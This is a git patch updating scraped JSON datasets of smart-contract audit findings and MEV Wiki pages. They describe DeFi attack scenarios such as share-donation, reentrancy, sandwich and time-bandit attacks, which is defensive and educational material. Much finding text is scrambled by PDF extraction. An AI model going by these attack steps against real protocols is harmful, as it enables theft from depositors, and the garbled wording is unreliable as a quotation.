From ce21acef75f53f4ab17e7c0d5fc206aae36ff507 Mon Sep 17 00:00:00 2001 From: automatoour Date: Sat, 26 Oct 2024 04:07:21 +0000 Subject: [PATCH] updated: data sources 2024-10-26 --- results/chainsecurity_findings.json | 16 +- results/gitbook_docs.json | 2 +- results/slowmist_findings.json | 7095 +++++++++++++++++++++++++++ results/zellic_findings.json | 3792 ++++++++++++++ 4 files changed, 10896 insertions(+), 9 deletions(-) diff --git a/results/chainsecurity_findings.json b/results/chainsecurity_findings.json index 51d8112..8102b2e 100644 --- a/results/chainsecurity_findings.json +++ b/results/chainsecurity_findings.json @@ -177,7 +177,7 @@ }, { "title": "5.3 Lift Does Not Drop Unfinalized opPoke", - "body": " ScribeOptimistic generally drops unfinalized optimistic poke data after the update of parameters to avoid any issues connected to an unexpected change of the verification result. _lift() is not overridden in ScribeOptimistic to call _afterAuthedAction() which drops the unfinalized opPokeData. This may allow not yet but soon to be feeds to sign the price update. CS-CSC-003 Assume Alice is not a member of the current feeds at t and t < t < t . 2 , Alice signs a price with other bar-1 feeds, and opPoke() it. 0 1 0 At t 0 At t 1 At t 2 , wards add Alice to the feeds. pokeData becomes valid. , one comes to challenge the opPokeData, the challenge fails (verification succeeds) and the In this example, Alice's signed data successfully passes the verification, though Alice has not been authorized at t , the time the price data was aggregated. 0 Risk accepted: Chronicle states: Chronicle - Scribe - 14 DesignLowVersion1RiskAcceptedCorrectnessLowVersion1RiskAccepted \fThis is a valid issue from a theoretical point of view. However, practically we don't see any problems arising through this. ", + "body": " ScribeOptimistic generally drops unfinalized optimistic poke data after the update of parameters to avoid any issues connected to an unexpected change of the verification result. _lift() is not overridden in ScribeOptimistic to call _afterAuthedAction() which drops the unfinalized opPokeData. This may allow not yet but soon to be feeds to sign the price update. CS-CSC-003 Assume Alice is not a member of the current feeds at t and t < t < t . 2 , Alice signs a price with other bar-1 feeds, and opPoke() it. 0 0 1 At t 0 At t 1 At t 2 , wards add Alice to the feeds. pokeData becomes valid. , one comes to challenge the opPokeData, the challenge fails (verification succeeds) and the In this example, Alice's signed data successfully passes the verification, though Alice has not been authorized at t , the time the price data was aggregated. 0 Risk accepted: Chronicle states: Chronicle - Scribe - 14 DesignLowVersion1RiskAcceptedCorrectnessLowVersion1RiskAccepted \fThis is a valid issue from a theoretical point of view. However, practically we don't see any problems arising through this. ", "labels": [ "ChainSecurity" ], @@ -4921,7 +4921,7 @@ }, { "title": "7.2 Code Inconsistencies", - "body": " CS-GEARV21-006 1. For gas optimizations, the system tries to always keep 1 wei in the balances and the standard way in is with balance <= 1, codebase however to BlacklistHelper.claim() the check is amount < 2. across check the it 2. The Lido gateway transfers the full balance instead of balance-1 as everywhere else in the system (gas optimization). 3. In the adapters, _gearboxAdapterType is sometimes overridden as a constant, and some other times as a function. For consistency across the codebase, one of the two solutions should be chosen. Code partially corrected: 1. Changed to amount < 1. 2. Not addressed. 3. Not addressed. ", + "body": " CS-GEARV21-006 1. For gas optimizations, the system tries to always keep 1 wei in the balances and the standard way in is with balance <= 1, however across to BlacklistHelper.claim() the check is amount < 2. codebase check the it 2. The Lido gateway transfers the full balance instead of balance-1 as everywhere else in the system (gas optimization). 3. In the adapters, _gearboxAdapterType is sometimes overridden as a constant, and some other times as a function. For consistency across the codebase, one of the two solutions should be chosen. Code partially corrected: 1. Changed to amount < 1. 2. Not addressed. 3. Not addressed. ", "labels": [ "ChainSecurity" ], @@ -9233,7 +9233,7 @@ }, { "title": "6.2 Implications of Ring Buffer Size", - "body": " The EIP-4788 states: The ring buffer data structures are sized to hold 8192 roots from the consensus layer at current slot timings. CS-EIP4788-008 Ethereum Foundation - EIP-4788 Contract - 11 CriticalHighCodeCorrectedMediumLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCorrectnessHighVersion1CodeCorrectedDesignLowVersion1CodeCorrectedSpeci\ufb01cationChanged \fIn at a current SECONDS_PER_SLOT = 12 on the mainnet. the code implements the circular buffer, however out of 98304 slots, only 8192 will be utilized Effectively the ring buffer behaves as a ring of integers modulo n, where n is its size. The ( current_timestamp + X * SECONDS_PER_SLOT ) mod 98304 function will produce a cyclic subgroup of order 8192 the SECONDS_PER_SLOT would change to 16, the cyclic subgroup will have order 6144, which is less than 8192. Furthermore, many old entries from the 12-second interval would uselessly remain in the ring buffer. if SECONDS_PER_SLOT is 12. However, future, the in if, Thus, the requirement of the EIP-4788 to have 8192 roots available in the ring buffer will not be satisfied if the SECONDS_PER_SLOT changes to 16 seconds. If the SECONDS_PER_SLOT changes to 13 seconds, the cyclic subgroup will have order 98304, thus increasing the storage requirements for the ring buffer by 12 times. To summarize, the 98304 as a group order for the ring buffer is not an ideal choice, as it is not a prime number. Potential changes to the SECONDS_PER_SLOT will drastically change the behavior of the ring buffer. If the ( current_timestamp + X * SECONDS_PER_SLOT ) mod 8209 function is used instead, the cyclic subgroup will always have order 8209, since it is a prime number. That would have two key advantages: The ring buffer could always hold the most recent 8209 beacon roots independent of SECONDS_PER_SLOT The storage consumption would remain constant even when SECONDS_PER_SLOT changes If the primary objective is to make sure that the ring buffer can hold all beacon roots of the past 24 hours, then a prime ring buffer size still makes sense, but a bigger one has to be chosen, according to the lowest value SECONDS_PER_SLOT might have in the future. Please note that the changes discussed here would require a change in the specification. The specification has been changed to make the ring buffer size 8191, which is a prime number. The code has been changed accordingly. Hence, the new implementation benefits from the positive effects described above. ", + "body": " The EIP-4788 states: The ring buffer data structures are sized to hold 8192 roots from the consensus layer at current slot timings. CS-EIP4788-008 Ethereum Foundation - EIP-4788 Contract - 11 CriticalHighCodeCorrectedMediumLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCorrectnessHighVersion1CodeCorrectedDesignLowVersion1CodeCorrectedSpeci\ufb01cationChanged \fIn at a current SECONDS_PER_SLOT = 12 on the mainnet. the code implements the circular buffer, however out of 98304 slots, only 8192 will be utilized Effectively the ring buffer behaves as a ring of integers modulo n, where n is its size. The ( current_timestamp + X * SECONDS_PER_SLOT ) mod 98304 function will produce a cyclic subgroup of order 8192 the SECONDS_PER_SLOT would change to 16, the cyclic subgroup will have order 6144, which is less than 8192. Furthermore, many old entries from the 12-second interval would uselessly remain in the ring buffer. if SECONDS_PER_SLOT is 12. However, future, the if, in Thus, the requirement of the EIP-4788 to have 8192 roots available in the ring buffer will not be satisfied if the SECONDS_PER_SLOT changes to 16 seconds. If the SECONDS_PER_SLOT changes to 13 seconds, the cyclic subgroup will have order 98304, thus increasing the storage requirements for the ring buffer by 12 times. To summarize, the 98304 as a group order for the ring buffer is not an ideal choice, as it is not a prime number. Potential changes to the SECONDS_PER_SLOT will drastically change the behavior of the ring buffer. If the ( current_timestamp + X * SECONDS_PER_SLOT ) mod 8209 function is used instead, the cyclic subgroup will always have order 8209, since it is a prime number. That would have two key advantages: The ring buffer could always hold the most recent 8209 beacon roots independent of SECONDS_PER_SLOT The storage consumption would remain constant even when SECONDS_PER_SLOT changes If the primary objective is to make sure that the ring buffer can hold all beacon roots of the past 24 hours, then a prime ring buffer size still makes sense, but a bigger one has to be chosen, according to the lowest value SECONDS_PER_SLOT might have in the future. Please note that the changes discussed here would require a change in the specification. The specification has been changed to make the ring buffer size 8191, which is a prime number. The code has been changed accordingly. Hence, the new implementation benefits from the positive effects described above. ", "labels": [ "ChainSecurity" ], @@ -11585,7 +11585,7 @@ }, { "title": "6.9 No Recovery of Accidental Token Transfers", - "body": " Possible In case an ERC-20 token other than the base tokens or collateral tokens is sent to the contract, then it cannot be recovered. Among other reasons, this might happen due to airdrops based on the base tokens or collateral tokens. A new function approveThis has been introduced to allow the governance to approve any ERC20 token to any address. Compound - Comet - 17 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.10 Possible Contract Size Reductions Instead of creating an empty AssetConfig, and later returning (0, 0), the function _getPackedAsset could directly return (0, 0). The functions isBorrowCollateralized, getBorrowLiquidity, isLiquidatable and getLiquidationMargin share the same code with marginal modifications. The overlapping code could be factored out into new functions to save code size. The baseScale variable is only needed internally and is derived from decimals and can thus be defined as internal to reduce code size. The intialization of trackingSupplyIndex and trackingBorrowIndex to 0 in the initializeStorage function can be omitted. Corrected: __getPackedAsset now directly returns (0, 0) if an AssetConfig element is empty. Not corrected: Compound claims that the compiler opimizations already account for a sufficient getBorrowLiquidity, isBorrowCollateralized, size contract reduction isLiquidatable and getLiquidationMargin. in Not corrected: Compound does not want to make an exception for one variable. Corrected: trackingSupplyIndex and trackingBorrowIndex are no longer initialized to 0. ", + "body": " Possible In case an ERC-20 token other than the base tokens or collateral tokens is sent to the contract, then it cannot be recovered. Among other reasons, this might happen due to airdrops based on the base tokens or collateral tokens. A new function approveThis has been introduced to allow the governance to approve any ERC20 token to any address. Compound - Comet - 17 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.10 Possible Contract Size Reductions Instead of creating an empty AssetConfig, and later returning (0, 0), the function _getPackedAsset could directly return (0, 0). The functions isBorrowCollateralized, getBorrowLiquidity, isLiquidatable and getLiquidationMargin share the same code with marginal modifications. The overlapping code could be factored out into new functions to save code size. The baseScale variable is only needed internally and is derived from decimals and can thus be defined as internal to reduce code size. The intialization of trackingSupplyIndex and trackingBorrowIndex to 0 in the initializeStorage function can be omitted. Corrected: __getPackedAsset now directly returns (0, 0) if an AssetConfig element is empty. Not corrected: Compound claims that the compiler opimizations already account for a sufficient getBorrowLiquidity, isBorrowCollateralized, contract reduction isLiquidatable and getLiquidationMargin. size in Not corrected: Compound does not want to make an exception for one variable. Corrected: trackingSupplyIndex and trackingBorrowIndex are no longer initialized to 0. ", "labels": [ "ChainSecurity" ], @@ -12393,7 +12393,7 @@ }, { "title": "6.3 Farms Rely on Token to Checkpoint", - "body": " Farm._updateFarmingState() calls checkpoint() of an external ERC20Farmable contract. Then, the ERC20Farmable contract calls Farm.farmingCheckpoint(). However, a malicious ERC20Farmable to Farm.farmingCheckpoint(). Hence, the farm checkpoints could remain without updates. implementation purposefully could leave call the out farmingCheckpoint has been removed from the farm contracts. Hence, there is no need to call it. ", + "body": " Farm._updateFarmingState() calls checkpoint() of an external ERC20Farmable contract. Then, the ERC20Farmable contract calls Farm.farmingCheckpoint(). However, a malicious ERC20Farmable to Farm.farmingCheckpoint(). Hence, the farm checkpoints could remain without updates. implementation purposefully could leave call out the farmingCheckpoint has been removed from the farm contracts. Hence, there is no need to call it. ", "labels": [ "ChainSecurity" ], @@ -14697,7 +14697,7 @@ }, { "title": "7.1 Users Must Add Farm if Default Farm Is", - "body": " Updated The deployed DelegatedShare contracts may not have a farm associated with them directly. If a farm is added later on, the users must either re-delegate or manually add the farm Pod on the DelegatedShare contract themselves. possible using It's DelegatedShare.remove/removeAll() but still keep delegating to this delegatee. Users must be careful and understand the consequences of their actions. remove himself default farm from user the for an to 1inch - Delegation - 13 NoteVersion1 \f", + "body": " Updated The deployed DelegatedShare contracts may not have a farm associated with them directly. If a farm is added later on, the users must either re-delegate or manually add the farm Pod on the DelegatedShare contract themselves. possible using It's DelegatedShare.remove/removeAll() but still keep delegating to this delegatee. Users must be careful and understand the consequences of their actions. remove himself default from farm user the for an to 1inch - Delegation - 13 NoteVersion1 \f", "labels": [ "ChainSecurity" ], @@ -14945,7 +14945,7 @@ }, { "title": "6.5 Donation Attack on SVT Minting", - "body": " The SVTs that are minted on synchronization are minted based on the existing value at the flush. However, it is possible to donate to SVs so that deposits are minting no shares. CS-SpoolV2-004 A simple attack may cause a loss in funds. Consider the following scenario: 1. A new SV is deployed. 2. 1M USD is flushed (value was zero since it is a new vault). 3. An attacker, holding some SSTs (potentially received through platform fees), donates 1 USD in SSTs (increases the vault value to 1 USD). Frontruns DHW. 4. DHW on the strategies happens. 5. The SV gets of if (totalUsd[1] == 0) since the value is 1 USD. The SVTs are minted based on the total supply of SVTs which is zero. Hence, zero shares will be minted. synchronization synced. The branch enter does not the 6. The depositors of the fund receive no SVTs. Ultimately, funds could be lost. An attacker could improve on the attack for profit. 1. A new SV is deployed. 2. An attacker achieves to mint some shares. 3. The attacker redeems the shares fast so that only 1 SVT exists. 4. Now, others deposit 1M USD, and the deposits are flushed. 5. The attacker donates 1M + 1 USD in SSTs to the strategy. 6. Assume there are no fees for the SV for simplicity. Synchronization happens. The shares minted for the deposits will be equal to 1 * 1M USD / (1M + 1 USD) which rounds down to zero. The deposits will increase the value of the vault so that the attacker profits. Finally, consider that an attack could technically also donate to the strategy before the DHW so that totalStrategyValue is pumped. While the total supply of SSTs is less than INITIAL_LOCKED_SHARES, the shares are minted at a fixed rate. INITIAL_LOCKED_SHARES are minted to the address 0xdead so that a minimum amount of shares is enforced. That makes such attacks much more expensive. Spool - Spool V2 - 25 SecurityHighVersion1CodeCorrected \f6.6 Flushing Into Ongoing DHW Leading to Loss of Funds The DHW could be reentrant due to the underlying protocols allowing for reentrancy or the swaps being reentrant. That reentrancy potential may allow an attacker to manipulate the perceived deposit value in Strategy.doHardWork(). Consider the following scenario: 1. DHW is being executed for a strategy. The deposits are 1M USD. Assume that for example the best off-chain computed path is taken for swaps. An intermediary token is reentrant. 2. The strategy registry communicated the provided funds and the withdrawn shares for the DHW CS-SpoolV2-005 index to the strategy. 3. Funds are swapped. 4. The attacker reenters a vault that uses the strategy and flushes 1M USD. Hence, the funds to deposit and shares to redeem for the DHW changed even though the DHW is already running. 5. The funds will be lost. However, the loss is split among all SVs. 6. However, the next DHW will treat the assets as deposits made by SVs. An attacker could maximize his profit by depositing a huge amount and flushing to the DHW index where the donation will be applied. Additionally, he could try flushing all other SVs with small amounts. The withdrawn shares will be just lost. To summarize, flushing could be reentered to manipulate the outcome of DHW due to bad inputs coming from the strategy registry. Reentrancy protection has been added for this case. ", + "body": " The SVTs that are minted on synchronization are minted based on the existing value at the flush. However, it is possible to donate to SVs so that deposits are minting no shares. CS-SpoolV2-004 A simple attack may cause a loss in funds. Consider the following scenario: 1. A new SV is deployed. 2. 1M USD is flushed (value was zero since it is a new vault). 3. An attacker, holding some SSTs (potentially received through platform fees), donates 1 USD in SSTs (increases the vault value to 1 USD). Frontruns DHW. 4. DHW on the strategies happens. 5. The SV gets of if (totalUsd[1] == 0) since the value is 1 USD. The SVTs are minted based on the total supply of SVTs which is zero. Hence, zero shares will be minted. synchronization synced. The branch enter does the not 6. The depositors of the fund receive no SVTs. Ultimately, funds could be lost. An attacker could improve on the attack for profit. 1. A new SV is deployed. 2. An attacker achieves to mint some shares. 3. The attacker redeems the shares fast so that only 1 SVT exists. 4. Now, others deposit 1M USD, and the deposits are flushed. 5. The attacker donates 1M + 1 USD in SSTs to the strategy. 6. Assume there are no fees for the SV for simplicity. Synchronization happens. The shares minted for the deposits will be equal to 1 * 1M USD / (1M + 1 USD) which rounds down to zero. The deposits will increase the value of the vault so that the attacker profits. Finally, consider that an attack could technically also donate to the strategy before the DHW so that totalStrategyValue is pumped. While the total supply of SSTs is less than INITIAL_LOCKED_SHARES, the shares are minted at a fixed rate. INITIAL_LOCKED_SHARES are minted to the address 0xdead so that a minimum amount of shares is enforced. That makes such attacks much more expensive. Spool - Spool V2 - 25 SecurityHighVersion1CodeCorrected \f6.6 Flushing Into Ongoing DHW Leading to Loss of Funds The DHW could be reentrant due to the underlying protocols allowing for reentrancy or the swaps being reentrant. That reentrancy potential may allow an attacker to manipulate the perceived deposit value in Strategy.doHardWork(). Consider the following scenario: 1. DHW is being executed for a strategy. The deposits are 1M USD. Assume that for example the best off-chain computed path is taken for swaps. An intermediary token is reentrant. 2. The strategy registry communicated the provided funds and the withdrawn shares for the DHW CS-SpoolV2-005 index to the strategy. 3. Funds are swapped. 4. The attacker reenters a vault that uses the strategy and flushes 1M USD. Hence, the funds to deposit and shares to redeem for the DHW changed even though the DHW is already running. 5. The funds will be lost. However, the loss is split among all SVs. 6. However, the next DHW will treat the assets as deposits made by SVs. An attacker could maximize his profit by depositing a huge amount and flushing to the DHW index where the donation will be applied. Additionally, he could try flushing all other SVs with small amounts. The withdrawn shares will be just lost. To summarize, flushing could be reentered to manipulate the outcome of DHW due to bad inputs coming from the strategy registry. Reentrancy protection has been added for this case. ", "labels": [ "ChainSecurity" ], @@ -17457,7 +17457,7 @@ }, { "title": "6.12 _getWipeDart() Returns art When Closing", - "body": " _getWipeDart() is used in MultiplyProxyActions.wipeAndFreeGem() to determine the amount for dart to be passed to frob(). For closing operations, the intention is to wipe the whole art of the urn and, thus, calling _getWipeDart() creates an overhead in computation as it will return the whole art of the urn. The actual value would be available even before calling wipeAndFreeGem(). Oazo Apps Limited - Multiply - 16 DesignLowVersion1AcknowledgedDesignLowVersion1CodePartiallyCorrectedDesignLowVersion1Acknowledged \fWhen closing a vault, immediately before the call to wipeAndFreeGem() the ink of the urn is querried from the vat: (uint256 ink, ) = IVat(vat).urns(cdpData.ilk, urn); Note that the second return value, the art of the urn is dropped. Hence the value would be available without any meaningful extra gas overhead. Therefore, the cases of wiping some and wiping all art when freeing gem could be distinguished, as it is similarly done in the DSS Proxy Actions contract, to reduce the gas cost of multiply closing actions. Acknowledged: Client responded that they want to remain consistent with the original Proxy Actions in the Maker Protocol and refers to the DssProxyActions contract. vault) one would already In the function of DssProxyActions refered to, wipeAllAndFreeETH is public and works with the arguments passed. In MultiplyProxyActions, wipeAndFreeGem is an internal function. Depending on the call path one already knows whether it's a full or partial wipe. Notably in the case of a full wipe (closure of the to (uint256 ink, ) = IVat(vat).urns(cdpData.ilk, urn); (where the returned value for art is currently ignored). Note that the original Proxy Actions contract implements two different functions wipeAllAndFreeGem() Actions, wipeAllAndFreeGem() queries vat.urns() for dart while in MultiplyProxyActions this call is already made in the function calling wipeAndFreeGem() so the identical functions cannot but the concept could be reused. wipeAndFreeGem(). for dart due the amount original Proxy know and call the the to In ", + "body": " _getWipeDart() is used in MultiplyProxyActions.wipeAndFreeGem() to determine the amount for dart to be passed to frob(). For closing operations, the intention is to wipe the whole art of the urn and, thus, calling _getWipeDart() creates an overhead in computation as it will return the whole art of the urn. The actual value would be available even before calling wipeAndFreeGem(). Oazo Apps Limited - Multiply - 16 DesignLowVersion1AcknowledgedDesignLowVersion1CodePartiallyCorrectedDesignLowVersion1Acknowledged \fWhen closing a vault, immediately before the call to wipeAndFreeGem() the ink of the urn is querried from the vat: (uint256 ink, ) = IVat(vat).urns(cdpData.ilk, urn); Note that the second return value, the art of the urn is dropped. Hence the value would be available without any meaningful extra gas overhead. Therefore, the cases of wiping some and wiping all art when freeing gem could be distinguished, as it is similarly done in the DSS Proxy Actions contract, to reduce the gas cost of multiply closing actions. Acknowledged: Client responded that they want to remain consistent with the original Proxy Actions in the Maker Protocol and refers to the DssProxyActions contract. vault) one would already In the function of DssProxyActions refered to, wipeAllAndFreeETH is public and works with the arguments passed. In MultiplyProxyActions, wipeAndFreeGem is an internal function. Depending on the call path one already knows whether it's a full or partial wipe. Notably in the case of a full wipe (closure of the to (uint256 ink, ) = IVat(vat).urns(cdpData.ilk, urn); (where the returned value for art is currently ignored). Note that the original Proxy Actions contract implements two different functions wipeAllAndFreeGem() Actions, wipeAllAndFreeGem() queries vat.urns() for dart while in MultiplyProxyActions this call is already made in the function calling wipeAndFreeGem() so the identical functions cannot but the concept could be reused. wipeAndFreeGem(). for dart due the amount original Proxy know and call the the In to ", "labels": [ "ChainSecurity" ], diff --git a/results/gitbook_docs.json b/results/gitbook_docs.json index 76d0e37..842c4ed 100644 --- a/results/gitbook_docs.json +++ b/results/gitbook_docs.json @@ -1 +1 @@ -[{"title": "Introduction", "html_url": "https://www.mev.wiki/", "body": "Introduction Welcome to the MEV Wiki. Next Resource List Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Resource List", "html_url": "https://www.mev.wiki/resource-list", "body": "Resource List Previous Introduction Next Terms and Concepts Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Terms and Concepts", "html_url": "https://www.mev.wiki/terms-and-concepts", "body": "Terms and Concepts Exploring the main concepts involving MEV. DeFi Automated Market Maker Arbitrage Lending Platforms Slippage Liquidations Priority Gas Auctions Transaction Ordering Previous Resource List Next DeFi Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "DeFi", "html_url": "https://www.mev.wiki/terms-and-concepts/defi", "body": "DeFi What is DeFi? DeFi is a subset of finance-focused decentralized protocols that operate autonomously on blockchain-based smart contracts. The total value locked in DeFi amounts to >$50B USD . Link: https://defipulse.com/ Previous Terms and Concepts Next Automated Market Maker Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Automated Market Maker", "html_url": "https://www.mev.wiki/terms-and-concepts/automated-market-maker", "body": "Automated Market Maker What is an AMM? A type of Decentralised Exchange. Contrary to traditional limit order-book-based exchanges (which maintain a list of bids and asks for an asset pair), AMM exchanges maintain a pool of capital (a liquidity pool) with at least two assets. A smart contract governs the rules by which traders can purchase and sell assets from the liquidity pool. The most common AMM mechanism is a constant product AMM, where the product of an asset X and asset Y in a pool have to abide by a constant K. Examples of AMM Exchanges include Uniswap , Sushiswap , Balancer . Previous DeFi Next Arbitrage Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Arbitrage", "html_url": "https://www.mev.wiki/terms-and-concepts/arbitrage", "body": "Arbitrage What is arbitrage trading? Arbitrage is the simultaneous purchase and sale of the same asset in different markets in order to profit from differences in the asset's listed price. Previous Automated Market Maker Next Lending Platforms Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Lending Platforms", "html_url": "https://www.mev.wiki/terms-and-concepts/lending-platforms", "body": "Lending Platforms What is a decentralised lending platform? Debt is an essential tool in DeFi. As DeFi applications typically operate without Know Your Customer (KYC), the borrowers debt must be over-collateralized. Hence, a borrower must collateralize (lock) 150% of the value that the borrower wishes to lend out. The collateral acts as a security to the lender if the borrower doesnt pay back the debt. Examples of lending platforms include Aave and Compound . Previous Arbitrage Next Slippage Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Slippage", "html_url": "https://www.mev.wiki/terms-and-concepts/slippage", "body": "Slippage What is price slippage? Slippage is defined as the move in the price of a security between the time you decided to transact in it and the time your order was in the market. When performing a trade on an AMM, the expected execution price may differ from the real execution price because the expected price depends on a past blockchain state, which may change between the transaction creation and its execution e.g., due to front-running transactions. Previous Lending Platforms Next Liquidations Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Liquidations", "html_url": "https://www.mev.wiki/terms-and-concepts/liquidations", "body": "Liquidations What are liquidations in collaterized debt? In Lending Platforms, if the collateral value decreases and the collateralization ratio falls below 150%, the collateral can be freed up for liquidation. Liquidators can then purchase the collateral at a discount to repay the debt. Previous Slippage Next Priority Gas Auctions Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Priority Gas Auctions", "html_url": "https://www.mev.wiki/terms-and-concepts/priority-gas-auctions", "body": "Priority Gas Auctions What is a priority gas auction? As pure arbitrage opportunities offer unconditional revenue, bots often compete against each other by bidding up transaction fees (gas) in PGAs which drives up fees for other users. Previous Liquidations Next Transaction Ordering Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Transaction Ordering", "html_url": "https://www.mev.wiki/terms-and-concepts/transaction-ordering", "body": "Transaction Ordering What is transaction ordering? Blockchains typically prescribe specific rules for consensus, but there are only loose requirements for miners on how to order transactions within a block. Many attacks are centered around how miners order transactions within blocks. Previous Priority Gas Auctions Next Attack Examples Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Attack Examples", "html_url": "https://www.mev.wiki/attack-examples", "body": "Attack Examples Some example of attacks. Front-running Sandwich attack Back-running Liquidations Time bandit attack Uncle bandit attack Previous Transaction Ordering Next Front-running Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Front-running", "html_url": "https://www.mev.wiki/attack-examples/front-running", "body": "Front-running What is front-running? Front-running is the process by which an adversary observes transactions on the network layer and then acts upon this information by, for instance, issuing a competing transaction, with the hope that this transaction is mined before a victim transaction e.g. Transaction A is broadcasted with a higher gas price than an already pending transaction B so that A gets mined before B. Previous Attack Examples Next Sandwich attack Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Sandwich attack", "html_url": "https://www.mev.wiki/attack-examples/sandwich-attack", "body": "Sandwich attack What is a sandwich attack? Alice wants to buy a Token A on a Decentralised Exchange (DEX) that uses an automated market maker (AMM) model. An adversary which sees Alices transaction can create two of its own transactions which it inserts before and after Alices transaction (sandwiching it). The adversarys first transaction buys Token A, which pushes up the price for Alices transaction, and then the third transaction is the adversarys transaction to sell Token A (now at a higher price) at a profit. Previous Front-running Next Back-running Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Back-running", "html_url": "https://www.mev.wiki/attack-examples/back-running", "body": "Back-running What is back-running? Back-running occurs when a transaction sender wishes to have their transaction ordered immediately after some unconfirmed \"target transaction\". Example: A back-running bot that back-runs new token listings. Bot monitors the Ethereum mempool for new pairs being created on Uniswap. If it finds a new pair the bot places a buy transaction immediately behind the initial liquidity. The bot swoops in and buys as many tokens as possible (but not all of them as there needs to be an opportunity for others to buy tokens as well).The bot then waits for the price to go up as other traders buy the token from Uniswap and proceeds to sell back the tokens at a higher price. The key in this strategy is to be the first to buy tokens, but only after the token has been launched . In order to maximise their chances of being mined immediately after their target, a typical backrunner will send many identical transactions, with gas price identical to that of the target transaction, sometimes from different accounts. https://amanusk.medium.com/the-fastest-draw-on-the-blockchain-bzrx-example-6bd19fabdbe1 Previous Sandwich attack Next Liquidations Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Liquidations", "html_url": "https://www.mev.wiki/attack-examples/liquidations", "body": "Liquidations How are liquidations exploited? Back-running strategies also apply to liquidations whereby a transaction sender wishes to be the first to liquidate a loan right after a price oracle update (which will allow liquidation to be triggered). Fixed spread liquidation used by Compound, Aave, and dYdX allows a liquidator to purchase collateral at a fixed discount when repaying debt. Strategy 1 Strategy 2 A detects a liquidation opportunity at block B (i.e., after the execution of B). A then issues a liquidation transaction T, which is expected to be mined in the next block B +1. A attempts to destructively front-run other competing liquidators by setting high transaction fees for his liquidation transaction T. A observes a transaction T, which will create a liquidation opportunity (e.g., an oracle price update transaction which will render a collateralized debt liquidatable). A then back-runs T with a liquidation transaction TA to avoid the transaction fee bidding competition. The auction liquidation allows a liquidator to start an auction that lasts for a pre-configured period (e.g., 6 hours). Competing liquidators can engage and bid on the collateral price. Previous Back-running Next Time bandit attack Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Time bandit attack", "html_url": "https://www.mev.wiki/attack-examples/time-bandit-attack", "body": "Time bandit attack What is a time bandit attack? Time-bandit attacks are attacks where miners rewrite blockchain history to steal funds allocated by smart contracts in the past. If block rewards are small enough compared to MEV, it can be rational for miners to destabilize consensus. Imagine there are two miners, Sam and Dan, who are paid a $100 reward for each block they find. Sam has found 3 blocks, the first of which contained a $10,000 arbitrage opportunity. Now Dan has a choice: he can either mine on top of Sams 3 blocks, or he can attempt to re-mine the first block in order to take the Uniswap arbitrage for himself. The $10,000 is much more lucrative than the $100 block reward, and Dan is more rational than honest, so he decides to re-mine the first block. While Dans at it, since the current longest chain is height 3, he also re-mines the second and third blocks (and captures any MEV that was in those, too). After the re-organization, Dan owns the longest chain and he and Sam can progress from the third block. Previous Liquidations Next Uncle bandit attack Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Uncle bandit attack", "html_url": "https://www.mev.wiki/attack-examples/uncle-bandit-attack", "body": "Uncle bandit attack What is a uncle bandit attack? Bundles are groups of transactions Flashbots users submit. Those transactions must be included in the order submitted, and either the whole bundle is included, or nothing is. A bundle should never be split up. Robert Miller found that for a specific bundle, only the \"Buy\" part of a sandwich bundle submitted had landed on-chain, and right after that Buy someone else had inserted a 7 gas transaction that arbitraged it. How? In Ethereum occasionally two blocks are mined at roughly the same time, and only one block can be added to the chain. The other gets \"uncled\" or orphaned. Anyone can access transactions in an uncled block and some of the transactions may not have ended up in the non-uncled block. In a way some transactions end up in a sort of mempool like state: they are now public as a part of the uncled block and perhaps still valid too. A Sandwicher's bundle was included in an uncled block. An attacker saw this, grabbed only the Buy part of the Sandwich, threw away the rest, and added an arbitrage after. The attacker then submitted that as a bundle, which was then mined. Instead of seeing something late in time and rewinding it (time-bandit attack), the uncle bandit attack is when an attacker sees something in an uncle and brings it forward. This also shows that attacks extend beyond the mempool and into uncled blocks as well. https://twitter.com/bertcmiller/status/1382673587715342339?s=20 Previous Time bandit attack Next Attempts to trick the bots Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Attempts to trick the bots", "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots", "body": "Attempts to trick the bots What are the ways some have come up with to trick bots? Salmonella Kattana Other attempts Previous Uncle bandit attack Next Salmonella Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Salmonella", "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots/salmonella", "body": "Salmonella What is Salmonella? Salmonella intentionally exploits the generalised nature of front-running setups. The goal of sandwich trading is to exploit the slippage of unintended victims, so this strategy turns the tables on the exploiters. Its a regular ERC20 token, which behaves exactly like any other ERC20 token in normal use-cases. However, it has some special logic to detect when anyone other than the specified owner is transacting it, and in these situations it only returns 10% of the specified amount - despite emitting event logs which match a trade of the full amount. Link: https://github.com/Defi-Cartel/salmonella Previous Attempts to trick the bots Next Kattana Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Kattana", "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots/kattana", "body": "Kattana What is Kattana? The Kattana team included a trap for front-running bots during their token listing. There is a line in the code that disallows the front-runner from selling all tokens. So a front-runner paid 68 ETH to the miner and ended up with tokens he wasn't able to sell. Link: https://twitter.com/SiegeRhino2/status/1381035640989626369?s=20 Previous Salmonella Next Other attempts Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Other attempts", "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots/other-attempts-to-trick-the-bot", 